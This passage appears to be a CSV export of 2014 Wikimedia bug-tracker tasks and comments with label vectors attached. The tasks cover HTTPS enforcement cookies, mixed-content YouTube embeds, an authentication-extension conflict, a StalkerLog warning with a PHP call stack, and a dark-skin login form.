+Now bug summary is True",,,1412333095,,PHID-USER-dswbdv7ibhsefllcqarz,False,,,PHID-TASK-nxxih4v7t3qkwpcba7ou,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,1
+331472,External links inside PDF should not be HTTPS when page was accessed via HTTP,"Could you rephrase ""use IP's log in ssh""? I'm afraid I don't understand it. 
+Did you mean SSL? What is an ""IP's log""?",,,1412330406,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nxxih4v7t3qkwpcba7ou,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0
+72487,"Show no ""central login"" notification for framed pages","When visit [1] the notification about ""central login"" is shown, but the autologin does not work, because it is not a wmf page (so no security problem).
+But it is scary to read such notification. It is possible to disable the autologin notification, when the autologin is not possible?
+
+
+
+[1] http://www.systranet.com/turl/?systranbanner=1&systrangui=WebUI&systranuid=aHR0cC1kZS53aWtpcGVkaWEub3JnL3dpa2kvV2lraXBlZGlhOkhhdXB0c2VpdGUvZW5fZXM%3D
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Lowest,10.0,1410006480,1550245283.0,PHID-USER-a6jwrurphpx6yl4coupk,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-edvcviwhvizjukbbdue7,task_description,duplicate,True,c3,1,False,False,False,-43,True,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,0,0,0,1
+71454,EmbedVideo extension delivers youtube videos using http instead of https causing modern browsers to block the content,"**Author:** `ttguy1`
+
+**Description:**
+If you use the EmbedVideo extension to embed a youtube video eg {{#ev:youtube|dMH0bHeiRNg}} then the html created delivers the youtube content over http. If the wiki running the EmbedVideo extension is delivering content over https then the resulting page is detected by modern browsers as containing mixed content and the youtube embeded video is blocked.
+
+Users can unblock the content but they might not know that they can do this. I did not know at first.
+
+The solution would be for the extension to deliver the content from youtube over https - youtube can do this. I guess the extension should some how detect if the wiki is using http or https and send youtube data in the matching format.
+
+--------------------------
+**Version**: REL1_20-branch
+**Severity**: normal
+**URL**: https://userbase.kde.org/Kdenlive/Manual/Effects/Blur_and_hide/Auto_Mask",Lowest,10.0,1407897660,1408078573.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-4azbdzfz7shotyvicbmj,task_description,invalid,True,c3,1,False,False,True,-47,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+320694,EmbedVideo extension delivers youtube videos using http instead of https causing modern browsers to block the content,"Ah, thanks for finding that. Looks like it should be handled there, hence closing the ticket in WIkimedia Bugzilla as it's not handled here",,,1408078573,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4azbdzfz7shotyvicbmj,task_subcomment,,True,c3,1,True,,,-46,True,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+320691,EmbedVideo extension delivers youtube videos using http instead of https causing modern browsers to block the content,"**ttguy1** wrote:
+
+Thanks Andre. I think this issue is being covered as https://github.com/Whiteknight/mediawiki-embedvideo/pull/39",,,1407969709,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4azbdzfz7shotyvicbmj,task_subcomment,,True,c3,1,False,,,-47,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0
+320687,EmbedVideo extension delivers youtube videos using http instead of https causing modern browsers to block the content,"https://www.mediawiki.org/wiki/Extension:EmbedVideo says this is not maintained anymore and hosted on Github, so the bug reports should probably be created at
+https://github.com/Whiteknight/mediawiki-embedvideo/issues instead.",,,1407917987,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4azbdzfz7shotyvicbmj,task_subcomment,,True,c3,1,True,,,-47,True,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+320682,EmbedVideo extension delivers youtube videos using http instead of https causing modern browsers to block the content,"**ttguy1** wrote:
+
+A comment at https://www.mediawiki.org/wiki/Extension_talk:EmbedVideo#HTTPS_support_with_embedded_youtube says this could be fixed:
+It's pretty easy : simply modify EmbedVideo.Services.php to replace frame src ""http://"" by ""https://"" in youtube* php array.",,,1407900180,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4azbdzfz7shotyvicbmj,task_subcomment,,True,c3,1,False,,,-47,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+71319,"Allow option to  uncheck ""Always use a secure connection when logged in"" at login.wikimedia.org/wiki/Special:Preferences","**Author:** `cometstyles`
+
+**Description:**
+I generally use wikimedia wikis on the non-secured http format so over the last 2 years, whenever i end up on a wiki where the ""Always use a secure connection when logged in"" is checked (by default), i'm forced into https which also forces my other wikis including the major ones into https, which can only be fixed via logging out multiple times on each wiki. I'm a filemover on commons which means when i rename i file, i'm auto-logged into all the wikis the files is on to replace them but because i'm randomly logged out of most of them wikis due to this irritating 'bug', I'm unable to replace the files on those wikis, I'm lucky if i even get 2 wikis done...
+
+so please allow a global option to ""uncheck"" 'Always use a secure connection when logged in' at https://login.wikimedia.org/wiki/Special:Preferences to allow users like me to keep our http option instead of randomly getting logged out of wikis. currently the 'check' option is greyed out...
+
+Https is slow and does not cache, and I'm on a somewhat slow internet access with limited data so being forced to cache scripts everytime i refresh just wastes away my data and I'm not the only one, all 3rd world countries have users on slow internet connection, they are probably affected in the same way..when i was on dialup on enwiki between 2006-2010, i was fast and that time there was no https option, now even on a slightly faster speed (7mbps connection), it feels worse than dial up at times when i end up on https ...
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Lowest,10.0,1407551580,1434485024.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-2azn7tbcvhqe4h53jjuw,task_description,resolved,True,c3,1,False,False,True,-47,True,1,0,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0
+475865,"Allow option to  uncheck ""Always use a secure connection when logged in"" at login.wikimedia.org/wiki/Special:Preferences","The preference was rendered ineffective with the HTTPS transition ( http://blog.wikimedia.org/2015/06/12/securing-wikimedia-sites-with-https/ ), and I believe a code change was submitted to hide the option going forward as well, so this whole issue (for better worse depending on your POV) is moot now.",,,1434485024,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-2azn7tbcvhqe4h53jjuw,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0
+314263,"Allow option to  uncheck ""Always use a secure connection when logged in"" at login.wikimedia.org/wiki/Special:Preferences","**cometstyles** wrote:
+
+Its less about it being slow and more about it being irritating..why should you en""forcehttps"" on me (via cookies) even though i have disabled that option in that wiki's preference? ..you people are refusing to see this as a bug/a problem..but its a major pain in the ass for me so please, allow users to globally TURN OFF this pathetic option, no one cares about security on the wiki...
+
+You are sacrificing speed for security (which is unnecessary).. I edit 40+ wikis a day from all domains and this is seriously becoming quite irritating..even deleting the ""forcehttps"" cookies logs me out of everything and prevent me from login back in unless i delete all centralauth related cookies..if you refuse to fix this, atleast come up with a global script to allow users to bypass this idiotic option.",,,1410876091,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2azn7tbcvhqe4h53jjuw,task_subcomment,,True,c3,1,False,,,-42,True,1,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,0
+314258,"Allow option to  uncheck ""Always use a secure connection when logged in"" at login.wikimedia.org/wiki/Special:Preferences","(In reply to Cometstyles from comment #0)
+> Https is slow
+
+It's been explained on IRC already that this is not correct, and that the reason for the slowness when using HTTPS is likely not HTTPS itself but something outside (provider? routing?); and comment 2 has explained that the specific HTTPS preference that you refer to is only applied for the *handshake* anyway.
+
+Summarizing how I understand things: 
+The problem that you experience is very likely triggered by something else and changing that preference would not solve your problem.",,,1410793571,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2azn7tbcvhqe4h53jjuw,task_subcomment,,True,c3,1,True,,,-42,True,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,0,1,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,1,0,0,1
+314253,"Allow option to  uncheck ""Always use a secure connection when logged in"" at login.wikimedia.org/wiki/Special:Preferences","**cometstyles** wrote:
+
+And trying to remove the ""forcedHTTPS"" cookies kills all my logins and i can no longer log in and then i'm forced to delete all my cookies related to ""centralauth"" and then i have toi manually log oint oall wikis one by one by visiting them...I sometimes edit over 40 different wikis a day, this is very very very irritating..please find a fix fast, Allow users the option to OPT-OUT of https......FGS!!...",,,1410789709,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2azn7tbcvhqe4h53jjuw,task_subcomment,,True,c3,1,False,,,-42,True,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,0
+314249,"Allow option to  uncheck ""Always use a secure connection when logged in"" at login.wikimedia.org/wiki/Special:Preferences","**cometstyles** wrote:
+
+I figured login.wikimedia.org was the ""global special:preference"" and changing it there would affect all wikis..it could be a good idea to make it the Global Preference panel for wikimedians..Wikia has a global option on their wikis, I wonder why we are so behind...",,,1408027934,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2azn7tbcvhqe4h53jjuw,task_subcomment,,True,c3,1,False,,,-46,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+314245,"Allow option to  uncheck ""Always use a secure connection when logged in"" at login.wikimedia.org/wiki/Special:Preferences","login.wikimedia.org really should never be visited by end users, and users don't have edit rights there. That is why they can't edit any preferences.
+
+The preference on loginwiki has almost no impact on your use of https on other wikis (unless you're actually putting in your username and password there). It will enforce that the actual login handshake (which is uncachable anyway, since we're logging you in) goes over https if you're not from China/Iran.
+
+I think the issue Cometstyles is hitting is that logging into a project that didn't have the preference set (ie., zh.wikipedia.org), and we set the forceHTTPS cookie at the top-level domain for the project (.wikipedia.org), so other wikis in project would start redirecting to https, even though their cookies are good for both http and https.
+
+The fix for this is either a global preference, which unfortunately we don't have yet. Or we set forceHTTPS per wiki, which was actually the original design, but was changed a while back because it makes it really hard to usefully examine your cookies.",,,1407793579,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2azn7tbcvhqe4h53jjuw,task_subcomment,,True,c3,1,True,,,-47,True,1,0,0,1,1,1,1,1,1,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,0,1,1,0,1,1,0,0,1,1,0,1,0,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+314239,"Allow option to  uncheck ""Always use a secure connection when logged in"" at login.wikimedia.org/wiki/Special:Preferences","So the request is that the by-default-enabled setting ""Always use a secure connection when logged in"" on https://login.wikimedia.org/wiki/Special:Preferences should not be greyed out?
+
+Wondering why it's greyed out - Chris, do you know?
+
+Also see https://meta.wikimedia.org/wiki/HTTPS#Disabling for general info.",,,1407606048,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2azn7tbcvhqe4h53jjuw,task_subcomment,,True,c3,1,True,,,-47,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0
+70962,[Auth_remoteuser] PHP Fatal error:  Call to undefined method GoogleLoginAuth::setupExtensionForRequest() in Auth_remoteuser.php on line 129,"In master.
+
+--------------------------
+**Version**: master
+**Severity**: major",Lowest,10.0,1406850420,1409064658.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-nh4r4m6p4z5z3dmj6zb3,task_description,resolved,True,c3,1,True,False,True,-48,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+320810,[Auth_remoteuser] PHP Fatal error:  Call to undefined method GoogleLoginAuth::setupExtensionForRequest() in Auth_remoteuser.php on line 129,"Change 151444 merged by jenkins-bot:
+Check if wgAuth is set correctly
+
+https://gerrit.wikimedia.org/r/151444",,,1409061451,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nh4r4m6p4z5z3dmj6zb3,task_subcomment,,True,c3,1,False,,,-45,True,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+320805,[Auth_remoteuser] PHP Fatal error:  Call to undefined method GoogleLoginAuth::setupExtensionForRequest() in Auth_remoteuser.php on line 129,"Change 151444 had a related patch set uploaded by Florianschmidtwelzow:
+Check if wgAuth is set correctly
+
+https://gerrit.wikimedia.org/r/151444",,,1407094765,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nh4r4m6p4z5z3dmj6zb3,task_subcomment,,True,c3,1,False,,,-48,True,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+320801,[Auth_remoteuser] PHP Fatal error:  Call to undefined method GoogleLoginAuth::setupExtensionForRequest() in Auth_remoteuser.php on line 129,"(In reply to Florian from comment #1)
+> @Nemo: in installation process (db update) or in ""normal"" use?
+
+IIRC this was upon running update.php right after install and I didn't find instructions about additional requirements.",,,1406906913,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-nh4r4m6p4z5z3dmj6zb3,task_subcomment,,True,c3,1,True,,,-48,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,1
+320795,[Auth_remoteuser] PHP Fatal error:  Call to undefined method GoogleLoginAuth::setupExtensionForRequest() in Auth_remoteuser.php on line 129,"Will set to invalid. Reason:
+
+- Auth_remoteuser uses wgAuth, GoogleLogin, too (both are authentication Extensions, using wgAuth). It's impossible to use two Auth extensions at the same time, to my knowledge.
+
+- It's not a normal use case, that a user has two Authentication plugins installed, so i don't see a reason to remove the automatical registration of GoogleLoignAuth in wgAuth (if there is any, say and i change it ;)).
+
+Feel free to reopen, if you think, that this isn't correct :)",,,1406906867,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-nh4r4m6p4z5z3dmj6zb3,task_subcomment,,True,c3,1,True,,,-48,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+320788,[Auth_remoteuser] PHP Fatal error:  Call to undefined method GoogleLoginAuth::setupExtensionForRequest() in Auth_remoteuser.php on line 129,"@Nemo: in installation process (db update) or in ""normal"" use?",,,1406905034,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-nh4r4m6p4z5z3dmj6zb3,task_subcomment,,True,c3,1,True,,,-48,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1
+70717,"[StalkerLog] Warning: Invalid parameter for message ""stalkerlog-log-login"": a:1:{s:3:&quot;raw&quot;;N;}","Warning: Invalid parameter for message ""stalkerlog-log-login"": a:1:{s:3:&quot;raw&quot;;N;} in /srv/vagrant/mediawiki/includes/Message.php on line 934
+
+Call Stack:
+    0.0006     253272   1. {main}() /srv/vagrant/mediawiki/tests/phpunit/phpunit.php:0
+   19.6050   51193712   2. MediaWikiPHPUnitCommand::main() /srv/vagrant/mediawiki/tests/phpunit/phpunit.php:160
+   19.6050   51206200   3. PHPUnit_TextUI_Command->run() /srv/vagrant/mediawiki/tests/phpunit/MediaWikiPHPUnitCommand.php:42
+  127.4282  273527048   4. PHPUnit_TextUI_TestRunner->doRun() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/TextUI/Command.php:176
+  127.4901  273844016   5. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/TextUI/TestRunner.php:350
+  128.2664  273846256   6. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:709
+ 1692.9132  488462368   7. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:709
+ 1708.7517  476635896   8. PHPUnit_Framework_TestSuite->runTest() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:749
+ 1708.7517  476635896   9. MediaWikiTestCase->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:779
+ 1708.7552  476635552  10. PHPUnit_Framework_TestCase->run() /srv/vagrant/mediawiki/tests/phpunit/MediaWikiTestCase.php:133
+ 1708.7553  476635552  11. PHPUnit_Framework_TestResult->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:783
+ 1708.7554  476636496  12. PHPUnit_Framework_TestCase->runBare() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestResult.php:648
+ 1713.1958  477058840  13. PHPUnit_Framework_TestCase->runTest() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:838
+ 1713.1958  477059600  14. ReflectionMethod->invokeArgs() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:988
+ 1713.1958  477059872  15. ApiLoginTest->testRunLogin() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:988
+ 1713.2243  477182720  16. ApiTestCase->doApiRequest() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiLoginTest.php:173
+ 1713.2255  477303800  17. ApiMain->execute() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiTestCase.php:99
+ 1713.2255  477303864  18. ApiMain->executeAction() /srv/vagrant/mediawiki/includes/api/ApiMain.php:332
+ 1713.2372  477310864  19. ApiLogin->execute() /srv/vagrant/mediawiki/includes/api/ApiMain.php:907
+ 1713.2576  477324664  20. wfRunHooks() /srv/vagrant/mediawiki/includes/api/ApiLogin.php:95
+ 1713.2576  477324720  21. Hooks::run() /srv/vagrant/mediawiki/includes/GlobalFunctions.php:4031
+ 1715.5685  477329808  22. call_user_func_array() /srv/vagrant/mediawiki/includes/Hooks.php:207
+ 1715.5685  477330344  23. wfStalkerLogin() /srv/vagrant/mediawiki/includes/Hooks.php:207
+ 1715.5686  477331968  24. LogPage->addEntry() /srv/vagrant/mediawiki/extensions/StalkerLog/StalkerLog.php:44
+ 1715.8277  477364768  25. LogFormatter->getIRCActionText() /srv/vagrant/mediawiki/includes/logging/LogPage.php:493
+ 1715.8277  477364880  26. LogFormatter->getPlainActionText() /srv/vagrant/mediawiki/includes/logging/LogFormatter.php:329
+ 1715.8277  477364880  27. LogFormatter->getActionText() /srv/vagrant/mediawiki/includes/logging/LogFormatter.php:156
+ 1715.8277  477364880  28. LegacyLogFormatter->getActionMessage() /srv/vagrant/mediawiki/includes/logging/LogFormatter.php:344
+ 1715.8278  477365320  29. LogPage::actionText() /srv/vagrant/mediawiki/includes/logging/LogFormatter.php:724
+ 1715.8278  477367504  30. Message->escaped() /srv/vagrant/mediawiki/includes/logging/LogPage.php:326
+ 1715.8279  477367592  31. Message->toString() /srv/vagrant/mediawiki/includes/Message.php:766
+ 1715.8382  477368216  32. Message->replaceParameters() /srv/vagrant/mediawiki/includes/Message.php:673
+ 1715.8383  477368664  33. Message->extractParam() /srv/vagrant/mediawiki/includes/Message.php:895
+ 1715.8383  477368960  34. trigger_error() /srv/vagrant/mediawiki/includes/Message.php:934
+
+--------------------------
+**Version**: master
+**Severity**: normal",Lowest,10.0,1406538240,1413845235.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-zhlqqnvadie2nx2bth5u,task_description,resolved,True,c3,1,True,False,True,-49,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1
+309121,"[StalkerLog] Warning: Invalid parameter for message ""stalkerlog-log-login"": a:1:{s:3:&quot;raw&quot;;N;}","Change 151093 merged by jenkins-bot:
+Fix Warning: Invalid parameter for message
+
+https://gerrit.wikimedia.org/r/151093",,,1413844892,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhlqqnvadie2nx2bth5u,task_subcomment,,True,c3,1,False,,,-37,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+309115,"[StalkerLog] Warning: Invalid parameter for message ""stalkerlog-log-login"": a:1:{s:3:&quot;raw&quot;;N;}","Change 151093 had a related patch set uploaded by Florianschmidtwelzow:
+Fix Warning: Invalid parameter for message
+
+https://gerrit.wikimedia.org/r/151093",,,1406906045,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhlqqnvadie2nx2bth5u,task_subcomment,,True,c3,1,False,,,-48,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+309109,"[StalkerLog] Warning: Invalid parameter for message ""stalkerlog-log-login"": a:1:{s:3:&quot;raw&quot;;N;}","Need to be verified, but first thought:
+Missing parameter in messages:
+https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FStalkerLog/a4d4977bd1b9de43247a6b453450f21ba5aa5235/i18n%2Fde.json
+
+If no-one did this, i will do it later when i'm at my computer.",,,1406893843,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-zhlqqnvadie2nx2bth5u,task_subcomment,,True,c3,1,True,,,-48,True,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,0,0
+66734,Login form hard to read on dark skins,"`.mw-ui-vform > div label` specifies an explicit dark color. On dark skins this means the contrast becomes low and in the worst case (the skin isn't using an absolute black) becomes illegible.
+
+This case isn't fixed by simply applying an explicit color somewhere so we'll probably have to create a new 'dark' common/skinning module.
+
+--------------------------
+**Version**: 1.24rc
+**Severity**: enhancement
+**See Also**:
